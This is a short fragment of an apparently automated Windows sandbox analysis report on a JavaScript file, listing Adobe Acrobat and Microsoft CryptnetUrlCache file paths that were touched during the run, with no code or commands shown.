C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6baf307e-b369-49e1-b670-259b468ad61c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3908

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
22388142366532662.js